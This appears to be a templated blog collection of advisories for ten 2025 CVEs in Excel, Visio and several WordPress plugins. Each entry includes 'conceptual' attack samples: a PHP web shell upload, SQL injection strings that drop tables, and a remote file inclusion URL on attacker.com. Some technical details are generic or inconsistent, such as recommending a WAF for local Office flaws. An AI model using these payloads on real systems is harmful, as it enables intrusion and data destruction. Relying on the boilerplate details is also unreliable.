Author: Ameeba

  • CVE-2025-53735: A Critical Use-After-Free Vulnerability in Microsoft Office Excel

    Overview

    We’re taking a deep dive into CVE-2025-53735, a significant vulnerability that poses a real threat to users of Microsoft Office Excel. This vulnerability is particularly concerning due to its potential to allow an unauthorized attacker to execute code locally on the affected system. Because Excel is widely used in organizations and individual systems across the world, the reach of this vulnerability is extensive and its impacts severe.
    This vulnerability has been classified as ‘Use After Free,’ which is a type of issue where a program continues to use memory after it has been freed or de-allocated. Largely, this can lead to unpredictable behavior, including program crashes, incorrect outputs, and in severe cases – like this vulnerability – it can allow an attacker to execute arbitrary code.

    Vulnerability Summary

    CVE ID: CVE-2025-53735
    Severity: High (7.8 CVSS Score)
    Attack Vector: Local
    Privileges Required: None
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Microsoft Office Excel | All versions prior to latest patch

    How the Exploit Works

    The vulnerability is a result of improper memory management in Microsoft Office Excel. When an Excel document is closed, some objects associated with the document are not properly de-allocated. If an attacker can trick a user into opening a specifically crafted Excel document, they can leverage this vulnerability to use these ‘freed’ objects to execute arbitrary code.

    Conceptual Example Code

    The following is a conceptual example of how an attacker might exploit this vulnerability using a malicious Excel document:

    # Create an Excel document
    doc = create_excel_document()
    # Add malicious payload that uses the 'use after free' vulnerability
    payload = craft_payload('use after free', 'arbitrary code')
    doc.add_payload(payload)
    # Save the document
    doc.save('malicious_document.xlsx')

    Please note that this is a simplified example of how the vulnerability might be exploited. Actual exploitation would involve complex manipulation of the Excel document’s internals and the system’s memory.
    In conclusion, this vulnerability highlights the importance of proper memory management in software development. Users are advised to update their Microsoft Office Excel as soon as patches become available. In the meantime, implementing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation.

  • CVE-2025-53734: Use-After-Free Vulnerability in Microsoft Office Visio Allowing Unauthorized Code Execution

    Overview

    The CVE-2025-53734 vulnerability is a significant security flaw that affects Microsoft Office Visio, a crucial tool widely used for creating diagrams and flowcharts. This vulnerability stems from a use-after-free condition, which, if exploited, allows an unauthorized attacker to execute code locally. Given the widespread usage of Microsoft Office Visio across various sectors, this vulnerability could potentially affect a large number of users, thus making it a matter of grave concern.

    Vulnerability Summary

    CVE ID: CVE-2025-53734
    Severity: High (7.8 – CVSS Severity Score)
    Attack Vector: Local
    Privileges Required: None
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Microsoft Office Visio | All prior to patch

    How the Exploit Works

    The vulnerability arises from a use-after-free condition in Microsoft Office Visio. A use-after-free vulnerability occurs when a piece of memory is freed (or de-allocated) but is still referenced later in the program. This can lead to unexpected behavior, including the potential for an attacker to manipulate the program to execute arbitrary code.
    In this case, an attacker who successfully exploits this vulnerability could execute code locally. This could enable the attacker to gain the same user rights as the current user, potentially leading to system compromise or data leakage.

    Conceptual Example Code

    Below is a hypothetical example showing how an attacker could possibly exploit this vulnerability. The attacker sends a specially crafted Visio file, which contains malicious code, to the victim.

    POST /upload/visiofile HTTP/1.1
    Host: target.example.com
    Content-Type: application/vnd.ms-visio.drawing
    { "visio_file": "[base64_encoded_malicious_visio_file]" }

    In this example, if the victim opens the malicious Visio file, the use-after-free condition is triggered, allowing the attacker’s code to be executed.
    It’s important to note that this is a simplified example for illustrative purposes only. Actual exploit code would likely be more complex and specific to the vulnerability in question.

    Mitigation and Prevention

    Microsoft has already released a patch to address this vulnerability. Users are strongly advised to apply this patch as soon as possible. If immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method. However, these are not long-term solutions and can only minimize risk, not eliminate it. Permanent mitigation can only be achieved by applying the vendor’s patch.

  • CVE-2025-60156: Critical CSRF Vulnerability in AR For WordPress Allows Shell Uploads

    Overview

    The cybersecurity landscape is abuzz with the identification of a new vulnerability, CVE-2025-60156. This vulnerability is a Cross-Site Request Forgery (CSRF) that impacts the AR For WordPress web and print service. Essentially, this flaw allows malicious actors to upload a web shell to a web server, potentially leading to system compromise or data leakage. Given the widespread use of AR For WordPress and the severity of the potential impact, understanding and mitigating this vulnerability is of utmost importance.

    Vulnerability Summary

    CVE ID: CVE-2025-60156
    Severity: Critical (9.6 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    AR For WordPress | n/a through 7.98

    How the Exploit Works

    The exploit works by manipulating a weakness in the CSRF protections of AR For WordPress. CSRF is a type of malicious exploit where unauthorized commands are transmitted from a user that the website trusts. In the case of this vulnerability, the CSRF flaw allows attackers to trick legitimate users into executing requests on their behalf.
    The attacker crafts a URL or web page that, when visited by another user, triggers a request to the AR For WordPress server. The server, failing to adequately validate the origin of the request, executes the command, which in this case involves uploading a web shell. This shell can then be used by the attacker to execute arbitrary commands, potentially leading to system compromise or data leakage.

    Conceptual Example Code

    Below is a conceptual example of how this vulnerability could be exploited. Please note that this is for illustrative purposes only:

    POST /upload_shell HTTP/1.1
    Host: target.example.com
    Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
    Cookie: [user session cookie]
    -----------------------------735323031399963166993862150
    Content-Disposition: form-data; name="file"; filename="shell.php"
    Content-Type: application/x-php
    <?php echo shell_exec($_GET['cmd']); ?>
    -----------------------------735323031399963166993862150--

    In this example, the attacker crafts a POST request to upload a web shell (`shell.php`) disguised as a standard form submission. The shell executes commands passed via the `cmd` GET parameter.
    To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a web application firewall (WAF) or intrusion detection system (IDS) can provide temporary mitigation.

  • CVE-2025-60118: SQL Injection Vulnerability in Potenzaglobalsolutions PGS Core

    Overview

    The world of cybersecurity is rife with threats, and the Common Vulnerabilities and Exposures (CVE) system is instrumental in indexing these threats. This blog post focuses on a specific vulnerability, CVE-2025-60118, a significant security threat that affects Potenzaglobalsolutions PGS Core. This vulnerability is a classic SQL Injection issue, a type of exploit that targets the database layer of an application, potentially resulting in system compromise or data leakage.
    This vulnerability is paramount due to its potential for damage and the widespread use of the affected product, PGS Core, in various applications. With a CVSS Severity Score of 8.5, it underscores the urgent need for organizations using PGS Core to apply necessary patches or adopt appropriate mitigation strategies.

    Vulnerability Summary

    CVE ID: CVE-2025-60118
    Severity: High (8.5)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    Potenzaglobalsolutions PGS Core | Up to version 5.9.0

    How the Exploit Works

    The exploit works by manipulating the SQL queries in the application. Specifically, an attacker can input malicious SQL statements into the application, which are then executed by the database. The application fails to adequately sanitize the user input, leading to an SQL injection vulnerability. This could allow an attacker to manipulate the application’s SQL queries, potentially leading to unauthorized access to data, data corruption, or even complete system compromise.

    Conceptual Example Code

    Here is a conceptual example of how this vulnerability might be exploited. This example assumes that the attacker is trying to inject malicious SQL commands via a web form:

    POST /pgscore/login HTTP/1.1
    Host: vulnerablewebsite.com
    Content-Type: application/x-www-form-urlencoded
    username=admin'--&password=irrelevant

    In this example, the username field includes a SQL comment (–). This effectively comments out the rest of the SQL query, allowing the attacker to bypass authentication, assuming the application concatenates this input into a SQL query without proper sanitization.

  • CVE-2025-60110: SQL Injection Vulnerability in LambertGroup AllInOne – Banner Rotator

    Overview

    We’re delving into the details of the recently discovered vulnerability, CVE-2025-60110. This SQL Injection flaw is related to LambertGroup’s AllInOne – Banner Rotator, a widely used tool in the digital marketing industry. This vulnerability is of significant concern due to its potential for system compromise and data leakage.
    As with all SQL Injection vulnerabilities, this presents an opportunity for attackers to manipulate the underlying SQL queries within the system. Given the severity score of 8.5, it is of high importance for administrators to mitigate this vulnerability swiftly and effectively.

    Vulnerability Summary

    CVE ID: CVE-2025-60110
    Severity: High (CVSS: 8.5)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    LambertGroup AllInOne – Banner Rotator | n/a through 3.8

    How the Exploit Works

    The vulnerability arises from the improper neutralization of special elements used in SQL commands. This allows an attacker to inject malicious SQL queries into the system via user inputs. The injected SQL commands, when executed, give the attacker the ability to read, modify, or delete data that they are normally not allowed to access.

    Conceptual Example Code

    Below is a simplified example illustrating how the vulnerability can be exploited. In this case, the attacker sends a HTTP POST request with malicious SQL command in the input data.

    POST /banner/rotate HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    banner_id=1; DROP TABLE users

    In this example, the attacker attempts to delete the ‘users’ table by appending a ‘;’ to the ‘banner_id’ parameter, followed by a ‘DROP TABLE’ command. If the system is vulnerable and lacks proper input sanitization, this SQL command could be executed, leading to the deletion of the ‘users’ table.

    Recommendations for Mitigation

    The primary method for mitigating this vulnerability is by applying the patch provided by the vendor. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure. These tools can help identify and block SQL injection attempts.
    Additionally, it is recommended to adopt best practices for SQL query creation, such as using prepared statements or parameterized queries, which can prevent SQL injection attacks by ensuring data sent to the interpreter is treated as a string literal rather than part of the SQL command.

  • CVE-2025-60109: Critical SQL Injection Vulnerability in LambertGroup AllInOne Content Slider

    Overview

    In this post, we are going to delve into the details of a critical vulnerability, CVE-2025-60109, which affects the LambertGroup AllInOne Content Slider, a widely-used content slider plugin. This vulnerability is particularly severe due to its potential to enable a system compromise or data leakage. By exploiting this vulnerability, an attacker could potentially gain unauthorized access to sensitive data, disrupt services, or even manipulate data.

    Vulnerability Summary

    CVE ID: CVE-2025-60109
    Severity: Critical (8.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    LambertGroup – AllInOne – Content Slider | Up to and including 3.8

    How the Exploit Works

    The vulnerability resides in the Improper Neutralization of Special Elements used in an SQL Command, more commonly known as SQL Injection. In this case, the attacker could manipulate SQL queries by injecting malicious SQL code into user input fields or into the URL’s query string. This could lead to unauthorized viewing, editing, or deleting of data in the SQL database. In the worst-case scenario, this could even lead to a full system takeover.

    Conceptual Example Code

    The following conceptual example demonstrates how an attacker could exploit this vulnerability. They could send a malicious HTTP POST request like the one shown below:

    POST /slide_show/ HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    slide_id=1 OR 1=1; DROP TABLE users;--

    In this example, the attacker is manipulating the ‘slide_id’ parameter to execute malicious SQL statements. The `1 OR 1=1` will always evaluate to true, potentially allowing the attacker to bypass authentication or view all slides. The `DROP TABLE users` is a destructive SQL statement that would delete the ‘users’ table from the database.

    Mitigation and Remediation

    The best way to mitigate this vulnerability is by applying the vendor’s patch. Users of the affected LambertGroup AllInOne Content Slider should upgrade to the latest version as soon as possible. If this is not immediately possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation method. However, these are not long-term solutions and do not address the underlying vulnerability.
    Remember, always maintain regular patching and review your system’s security configurations to ensure you are protected against such threats.

  • CVE-2025-60126: Critical PHP Remote File Inclusion Vulnerability in PluginOps Testimonial Slider

    Overview

    CVE-2025-60126 is a significant cybersecurity vulnerability that affects the PluginOps Testimonial Slider. This vulnerability exposes a potential weak point in the PHP code relating to the improper control of filename for include/require statements, known as ‘PHP Remote File Inclusion’. A successful exploit could lead to a system compromise or data leakage, posing a significant risk to website owners and users alike. Due to the widespread usage of PluginOps Testimonial Slider, this vulnerability is of high concern and warrants immediate attention and mitigation.

    Vulnerability Summary

    CVE ID: CVE-2025-60126
    Severity: Critical (8.8 CVSS Score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    PluginOps Testimonial Slider | n/a through 3.5.8.6

    How the Exploit Works

    The vulnerability arises due to improper control of filenames in include/require statements in the PHP program. This flaw allows an attacker to include a file from a remote server that contains malicious PHP code. When the vulnerable script is executed, the remote file is included and executed as well. This could potentially lead to unauthorized access, system compromise, and data leakage.

    Conceptual Example Code

    Here is a conceptual example of a HTTP request that might exploit this vulnerability:

    POST /path/to/vulnerable/script.php HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    include_file=http://attacker.com/malicious_script.php

    In this example, the request is made to a script that is vulnerable to file inclusion attacks. The `include_file` parameter is used to specify the URL of a malicious script on the attacker’s server (`http://attacker.com/malicious_script.php`). When the vulnerable script is executed, it includes and executes the malicious script, leading to the potential consequences outlined above.

    Mitigation and Prevention

    It is recommended to apply the vendor patch to resolve this vulnerability. In cases where a patch cannot be immediately applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. Regularly updating software and performing routine security audits can also help in identifying and mitigating such vulnerabilities in the future.

  • CVE-2025-60108: SQL Injection Vulnerability in LambertGroup AllInOne – Banner with Thumbnails

    Overview

    A critical security vulnerability, identified as CVE-2025-60108, has been discovered within LambertGroup’s AllInOne – Banner with Thumbnails product. This vulnerability, related to the improper neutralization of special elements used in SQL commands, allows an attacker to perform a Blind SQL Injection, potentially leading to a system compromise or data leakage.
    This vulnerability is of significant concern due to its broad impact scope, affecting all versions of the AllInOne – Banner with Thumbnails product through 3.8. It is particularly relevant to organizations that utilize this product in their web applications, as it can potentially compromise sensitive data.

    Vulnerability Summary

    CVE ID: CVE-2025-60108
    Severity: High (CVSS: 8.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, potential data leakage

    Affected Products

    Product | Affected Versions

    LambertGroup – AllInOne – Banner with Thumbnails | Up to 3.8

    How the Exploit Works

    The CVE-2025-60108 vulnerability allows an attacker to inject malicious SQL statements into the application. This is possible due to the application’s failure to properly sanitize user-supplied input before it’s incorporated into an SQL query. The attacker can exploit this vulnerability to manipulate the structure of the query, ultimately allowing them to interfere with the application’s database directly.

    Conceptual Example Code

    Here’s a conceptual example of how an attacker might exploit this vulnerability:

    POST /banner_with_thumbnails/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    id=1' OR '1'='1'; --

    In this example, the attacker sends a POST request to the application’s endpoint. Instead of a legitimate `id` value, they inject an SQL payload (`1′ OR ‘1’=’1′; –`). This payload modifies the query so that it always returns a true condition, potentially revealing sensitive data or allowing further exploitation.

    Mitigation and Remediation

    LambertGroup has released a patch to address this vulnerability. All users of the AllInOne – Banner with Thumbnails product are strongly urged to apply this patch immediately. For temporary mitigation, organizations can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent exploitation of this vulnerability. However, these measures should not replace the application of the official patch.

  • CVE-2025-60107: Critical SQL Injection Vulnerability in LambertGroup AllInOne Banner with Playlist

    Overview

    The cybersecurity landscape is continually evolving, and new vulnerabilities are discovered regularly. One such vulnerability that has recently come to light affects the LambertGroup AllInOne Banner with Playlist. This vulnerability, known as CVE-2025-60107, arises from the improper neutralization of special elements used in an SQL command, commonly referred to as an ‘SQL Injection’ vulnerability.
    This vulnerability has the potential to significantly impact any organization that uses the LambertGroup AllInOne Banner with Playlist, particularly those running versions up to 3.8. Given the high severity score of this vulnerability, it is critical for all affected organizations to take immediate steps to mitigate this risk.

    Vulnerability Summary

    CVE ID: CVE-2025-60107
    Severity: Critical (8.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    LambertGroup AllInOne Banner with Playlist | n/a through 3.8

    How the Exploit Works

    This vulnerability stems from the application’s inability to properly neutralize special elements within an SQL command. In essence, an attacker can send specially crafted input to the application, which then incorrectly processes it as part of an SQL command. This can lead to Blind SQL Injection, where the attacker could extract sensitive data from the database, modify the data, or even execute administrative tasks on the database.

    Conceptual Example Code

    This is a simplified example of how an attacker might exploit this vulnerability. Please note that this is a conceptual example and not actual exploit code.

    POST /banner/playlist HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "banner_id": "1 OR 1=1; --" }

    In this example, the attacker is manipulating the “banner_id” parameter to inject arbitrary SQL code. The “1 OR 1=1; –” payload effectively modifies the SQL query to return all records, as “1=1” is always true. The “–” symbol is used to comment out the rest of the query, preventing any syntax errors.
    To mitigate this vulnerability, affected organizations are advised to apply the vendor patch as soon as possible. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.

  • CVE-2025-60111: Cross-Site Request Forgery Vulnerability in Javo Core Allowing Authentication Bypass

    Overview

    The cybersecurity landscape is fraught with various threats and vulnerabilities. Among them, Cross-Site Request Forgery (CSRF) vulnerabilities tend to be particularly dangerous, as they can be exploited to perform unauthorized actions on behalf of an authenticated user without their knowledge or consent. The recent discovery of a CSRF vulnerability in Javothemes’ Javo Core, identified as CVE-2025-60111, serves as a reminder of this risk. This vulnerability, which has a high CVSS severity score of 8.8, allows for an Authentication Bypass, potentially leading to system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-60111
    Severity: High (CVSS score: 8.8)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Javo Core | n/a through 3.0.0.266

    How the Exploit Works

    The exploit capitalizes on the CSRF vulnerability in Javo Core. An attacker sends a malicious request that appears to be a legitimate one coming from an authenticated user. This can trick the server into executing the request, which can bypass the authentication process. The attacker, therefore, can perform unauthorized actions on the system, potentially compromising the system or leading to data leakage.

    Conceptual Example Code

    Below is a hypothetical example of how the vulnerability might be exploited. This example shows a malicious HTTP POST request sent to a vulnerable endpoint.

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    Cookie: sessionid=authenticated_user_session_id
    { "malicious_payload": "perform_unauthorized_action" }

    In this example, the malicious payload is injected into the body of the POST request, and the session ID of an authenticated user is included in the cookie.

    Mitigation Guidance

    To mitigate the risks associated with this vulnerability, it is advised to apply the vendor patch as soon as it becomes available. In the interim, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can act as temporary mitigation strategies. These tools can help to filter out malicious requests and detect potential intrusion attempts, reducing the chances of a successful exploit. It’s crucial that organizations regularly update their systems and maintain a proactive security posture to minimize the risk of similar vulnerabilities in the future.

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